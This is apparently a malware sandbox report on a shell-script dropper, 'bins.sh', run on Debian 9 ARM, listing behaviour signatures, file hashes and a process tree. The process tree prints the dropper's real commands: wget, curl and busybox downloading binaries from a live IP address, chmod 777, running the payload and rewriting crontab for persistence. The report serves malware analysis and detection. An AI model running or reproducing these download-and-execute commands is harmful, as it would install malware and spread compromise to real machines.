Overview

overview

10

Static

static

1

bins.sh

ubuntu-18.04-amd64

10

bins.sh

debian-9-armhf

9

bins.sh

debian-9-mips

10

bins.sh

debian-9-mipsel

10

Analysis

  • max time kernel
    150s
  • max time network
    160s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240611-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    19/01/2025, 23:27

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General

  • Target
    bins.sh
  • Size 10KB
  • Sample250119-3fd5ms1lbq
  • SHA256 543fc8f090e52e323b16983c82a7aee978bc494bf6cdc591f464c6a74b3e2ddf
  • MD5 SHA1 SHA512 SSDEEP
Score
9/10
antivmdefense_evasiondiscoveryexecutionpersistenceprivilege_escalatio

Malware Config

Signatures

  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • Contacts a large (1951) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • File and Directory Permissions Modification 1 TTPs 1 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Executes dropped EXE 1 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

    executionpersistenceprivilege_escalatio
  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Checks CPU configuration 1 TTPs 1 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

    antivm
  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • Writes file to tmp directory 3 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:661
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:663
        • /usr/bin/wget
          wget http://66.63.187.225/bins/COGtMLAVbmAAeVT7poKXAcUb3sloalI8Ju
          2⤵
          • Writes file to tmp directory
          PID:664
        • /usr/bin/curl
          curl -O http://66.63.187.225/bins/COGtMLAVbmAAeVT7poKXAcUb3sloalI8Ju
          2⤵
          • Checks CPU configuration
          • Writes file to tmp directory
          PID:690
        • /bin/busybox
          /bin/busybox wget http://66.63.187.225/bins/COGtMLAVbmAAeVT7poKXAcUb3sloalI8Ju
          2⤵
          • Writes file to tmp directory
          PID:691
        • /bin/chmod
          chmod 777 COGtMLAVbmAAeVT7poKXAcUb3sloalI8Ju
          2⤵
          • File and Directory Permissions Modification
          PID:696
        • /tmp/COGtMLAVbmAAeVT7poKXAcUb3sloalI8Ju
          ./COGtMLAVbmAAeVT7poKXAcUb3sloalI8Ju
          2⤵
          • Executes dropped EXE
          • Renames itself
          • Reads runtime system information
          PID:697
          • /bin/sh
            sh -c "crontab -l"
            3⤵
              PID:699
              • /usr/bin/crontab
                crontab -l
                4⤵
                  PID:701
              • /bin/sh
                sh -c "crontab -"
                3⤵
                  PID:703
                  • /usr/bin/crontab
                    crontab -
                    4⤵
                    • Creates/modifies Cron job
                    PID:704
              • /bin/rm
                rm COGtMLAVbmAAeVT7poKXAcUb3sloalI8Ju
                2⤵
                  PID:716
                • /usr/bin/wget
                  wget http://66.63.187.225/bins/wfR7tV7datHKSgN2v4jzBoiwMm02iTUMed
                  2⤵
                    PID:719

                Network

                      MITRE ATT&CK Enterprise v15

                      Replay Monitor

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                      Downloads

                      COGtMLAVbmAAeVT7poKXAcUb3sloalI8Ju
                      • Path /tmp/COGtMLAVbmAAeVT7poKXAcUb3sloalI8Ju
                      • Size 177KB
                      • SHA256 5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18
                      • MD5 SHA1 SHA512 SSDEEP
                      Submit Download

                      tmp.ViAqQb
                      • Path /var/spool/cron/crontabs/tmp.ViAqQb
                      • Size 210B
                      • SHA256 0f856b5192dff63e96cf4c7dcffd55405891af951375c77be21a962ae5e7a532
                      • MD5 SHA1 SHA512
                      Submit Download